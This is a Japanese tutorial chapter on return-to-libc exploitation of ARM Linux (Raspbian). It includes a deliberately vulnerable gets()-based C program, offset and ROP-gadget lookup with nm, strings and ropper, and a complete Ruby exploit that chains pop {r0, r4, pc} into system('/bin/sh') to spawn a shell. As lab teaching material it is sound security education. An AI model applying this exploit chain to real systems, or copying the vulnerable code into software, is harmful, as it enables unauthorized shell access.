3. Return to libc
前章で、スタック領域にシェルコードを配置して実行していました。しかしながら、本手法はNX 機能を無効化している場合やある領域に実行権限がある場合のみ可能な攻撃手段です。近年ではデフォルトで有効なため、Return to libc と呼ばれるテクニックを使いバイパスします。本章では、このReturn to libc というテクニックについて原理を学び演習問題を通して実践的な理解を深めます。
3.1 Return to libc とは
Return to libc は、多くの場合標準で読み込んでおり実行権限のあるglibcの関数などにジャンプし呼び出す攻撃手法のことです。libcには、皆さんご存知のprintf
関数やOSのコマンド実行をするsystem
関数をはじめとしてかなり多くの関数があります。特にExploit では、system
関数やexecve
系関数は使う機会が多いと思います。では、実際にどのような攻撃なのか具体的な例を見ていきましょう。しかしながら、libcのアドレスはASLR(Address Space Layout Randomization)機能によって、ランダム化されており特定は困難です、そこで通常Retrun to libc の攻撃を使うためには、他の脆弱性などでlibc のアドレスをリークし、差分を引くことでlibcのベースアドレスを算出し、算出したベースアドレスに呼びたい関数のオフセットを足すことで、実際のlibc内の関数のアドレスなどを算出します。libc の関数のオフセットを求める際には、nm
コマンドを利用します。
$ nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep system
000389c8 T __libc_system
00109eb0 T svcerr_systemerr
000389c8 W system
また、ある実行ファイルにリンクされているライブラリが何かを知りたければ、ldd
コマンドを利用することで確認することができます。
$ ldd ret2libc
/usr/lib/arm-linux-gnueabihf/libarmmem-${PLATFORM}.so => /usr/lib/arm-linux-gnueabihf/libarmmem-v6l.so (0xb6f28000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6dd8000)
/lib/ld-linux-armhf.so.3 (0xb6f3c000)
この際、括弧でくくられているアドレスが、ベースアドレスです。ASLR 環境配下だと上記コマンド結果は、実行するたびに異なるアドレスになります。しかしながら、アドレスのランダム化される範囲は少なく、特に末尾3桁は0で固定されています。オフセットなどを減算して末尾3桁が0ではない場合は、正しくベースアドレスを算出できていないので、もう一度計算方法を見直してみましょう。
今回の演習問題に使うコードを見てみましょう。
#include <stdio.h>
int main(int argc, char* argv[]) {
char buf[30];
setbuf(stdout, NULL);
printf("libc address: %p\n", stdout);
gets(buf);
return 0;
}
このソースコードでは、gets
関数が使われているためバッファオーバーフローが起こることがわかります。前章の話しを踏まえて、リターンアドレスを上書きするまでに必要なペイロードのサイズを確かめてみてください。ここでは割愛しますが、36バイトのパディングを入れることでリターンアドレスを書き換えることがわかります。次に、libcアドレスのベースアドレスを特定します。このソースコードでは、stdout
のアドレスを事前にリークしてくれています。そこで、nm
コマンドを使ってstdout
のアドレスオフセットを調べてましょう。
nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep -w stdout
0014ad90 D _IO_2_1_stdout_
0014ae34 D stdout
この結果から、2つ同じような名前が出ていることがわかります。このうち1つ目がstdout
の実態になっています。stdout
は、_IO_2_1_stdout_
を指しており、_IO_2_1_stdout_
が実際の標準出力用のファイルポインタを指しています。そのため、0x14ad90 がオフセットだとわかりました。では実際にこのコードを実行してみましょう。
$ ./ret2libc
./ret2libc
libc address: 0xb6f16d90
コードを実行すると、アドレスの末尾が0xd90になっており、調べて判明したオフセットを引くことで末尾3桁が0になりlibcのベースアドレスが求められそうなことがわかります。
次に、どのようなペイロードを送り込んでReturn to libcを実行するのかを考えていきます。今回は、libc内にあるsystem
関数を用いて、system("/bin/sh")
を実行することでシェルを起動させる方針です。そのため、先程のlibc ベースアドレスに、system
関数のアドレスオフセットを足すことで実際のsystem
関数アドレスがわかります。次に、引数を設定する必要があります。実は、"/bin/sh"
という文字列はlibc内に含まれています。こちらも関数のオフセットと同じ要領で、オフセットを算出し、ベースアドレスに足すことで実際のアドレスを得ることができます。文字列の格納されているアドレスのオフセットが知りたい場合は、strings
コマンドを用います。
$ strings -tx -a /lib/arm-linux-gnueabihf/libc.so.6 | grep "/bin/sh"
12bb6c /bin/sh
上記結果より、オフセットは0x12bb6cだとわかりました。ベースアドレスにこの値を足すことで実際の"/bin/sh"
のアドレスが求まりそうです。さて、ここまでで実際に必要なアドレスたちの算出は終わりました。次にどのようにして第1引数であるr0レジスタに"/bin/sh"
のアドレスを設定した状態で、system
関数を呼び出すかについて考えていきます。こういう際に便利なのが、pop
命令です。pop
命令は、スタックに配置されている値をレジスタにコピーする命令です。実行ファイルやlibcバイナリの中には、こういったpop
命令が数多く含まれています。そこで、そういったpop
命令にまずは直接ジャンプして、スタックに配置した引数をレジスタに移す処理をした後に、system
関数を呼び出すことを行います。こういったpop
命令やbx
で終わるコードの断片(これらのコードをROP Gadgetと言う場合があります)をつなげていくことをROP(Return Oriented Programming)と呼びます。この攻撃はかなり複雑なコードも場合によっては実現可能なためとても便利な手法です。
では、バイナリ中からpop
命令を用いたコードを見つけてみましょう。ここでは、すでにlibcのベースアドレスが既知なため、libcから探します。一般にlibc のほうが多くの関数やコードが詰まっているため便利なROP Gadgetが多く存在します。ROP Gadgetを探す場合は、rp++ を使うのが代表的ですが、どうやらrp++はARMなどには対応していないようなので他のソフトウェアを使います。rp++以外に代表的なのは、ROPGadget や ropper です。ここでは、ropper を採用しました。特に深い意味はなくROPGadgetよりは新しいという点ぐらいで選んでいます。ropper のインストールはpip install ropper
で入りますが、Qemu環境で入れようとするとビルドに時間がかかるため、ホスト環境に入れてしまうことを強くおすすめします。実際にropper を使ってROP Gadgetを検索してみましょう。今回検索したいのは、r0とpcにpopすることができるROP Gadgetです。ropper のオプションでは、-f
でファイルを選び、--search
で探すGadgetの文字列を設定できます。今回は試しに、r0のpopから始まるものを設定してみます。
$ ropper -f libc.so.6 --search "pop {r0"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop {r0
[INFO] File: libc.so.6
0x000da9c0: pop {r0, r1, r2, r3, ip, lr}; bx ip;
0x000791fc: pop {r0, r4, pc};
実行結果の2つ目に着目してください。途中でr4レジスタのpop が入っていますが、今回設定したいr0とpcの2つのレジスタにpopすることができそうです。今回はこのROP Gadgetを使うことにしましょう。
ここまでのアドレスや得たROP Gadgetを用いてスタックに配置するペイロードを図示すると以下のようになります。
値 |
---|
"A" * 36 |
pop {r0, r4, pc} |
"/bin/sh" のアドレス |
"AAAA" |
system 関数のアドレス |
大まかに挙動をまとめると、まずはじめにバッファオーバーフローを用いて、リターンアドレスをpop {r0, r4, pc}
で上書きします。そうすると、この命令がスタックに配置されている"/bin/sh"のアドレスをr0に、"AAA"という今回は不要な値をr4に、そして次に実行する命令を指すpcにsystem関数のアドレスを設定します。これにより、system("/bin/sh")
を実行することができるようになります。
3.2 Return to libcを用いたシェル奪取
では実際に構築したペイロードで攻撃が成功するかを確かめてみましょう。引き続きsocat
でバイナリを待ち受けます。
$ socat tcp-l:8888,reuseaddr,fork exec:./ret2libc
次に、ここまでの情報を踏まえて作成したExploit コードを以下に以下に示します。libcのアドレスが正しく計算されているかなど、デバッグ情報を出すようにしています。
#!/usr/bin/env ruby
# coding: utf-8
require 'pwn'
host = 'localhost'
port = 8888
z = Sock.new host, port
tmp = z.recvline
libc_address = tmp.match(/: (.+)\n/)[1].to_i(16)
libc = ELF.new "./libc.so.6"
libc_base = libc_address - 0x014ad90
libc_system = libc_base + libc.symbols["__libc_system"]
libc_binsh = libc_base + 0x12bb6c
pop_r0_r4_pc = libc_base + 0x000791fc
puts "libc base @ 0x#{libc_base.to_s(16)}"
puts "libc system @ 0x#{libc_system.to_s(16)}"
puts "libc /bin/sh @ 0x#{libc_binsh.to_s(16)}"
payload = "A" * 36
payload << p32(pop_r0_r4_pc)
payload << p32(libc_binsh)
payload << "AAAA"
payload << p32(libc_system)
z.sendline payload
z.interact
上記コードを実行した結果が以下です。
./solve2.rb
[INFO] "ARM_Exploit/docs/chapter03/libc.so.6"
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc base @ 0xb6e20000
libc system @ 0xb6e589c8
libc /bin/sh @ 0xb6f4bb6c
[INFO] Switching to interactive mode
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),105(input),109(netdev),997(gpio),998(i2c),999(spi)
Raspbian のシェルが操作できていることが確認できました。
3.3 まとめ
本章では、Return to libc という攻撃テクニックについて学びました。本攻撃手法は、NX が有効な場合などシェルコードを簡単に実行できない状況ではとても便利な攻撃手法です。一方で利用するためには、libcアドレスをリークしておく必要があるため他の脆弱性と併用しなければなりませんが、とても強力な攻撃です。